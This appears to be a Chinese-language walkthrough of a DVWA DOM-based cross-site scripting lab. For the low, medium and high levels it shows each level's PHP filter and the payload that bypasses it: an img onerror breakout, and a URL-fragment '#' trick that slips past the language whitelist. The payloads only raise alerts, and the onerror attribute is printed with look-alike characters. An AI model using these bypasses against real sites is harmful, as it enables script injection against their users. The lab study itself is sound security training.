目录
low
<?php
# No protections, anything goes
?>
没有任何限制:
直接插入一个代码:<script>alert("xxs")</script>
插入成功
medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
把<script>标签进行了替换
先插入<script>alert(12);</script>
查看源代码是否插入进去
插入进去,但是没有出现弹窗,得先闭合/option再实现弹窗
</option></select><img src=1 οnerrοr=alert('xss');>
方法:
- 对JavaScript对内容过滤的方法进行注释:#<script>alert(12);</script>
- 构造闭合,</option></select><img src=1 οnerrοr=alert('xss');>
high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
对French,English,German,Spanish进行了白名单,这里采用#绕过,把后面的内容注释掉,不会传送到后端进行检验。
#<script>alert('xss');</script>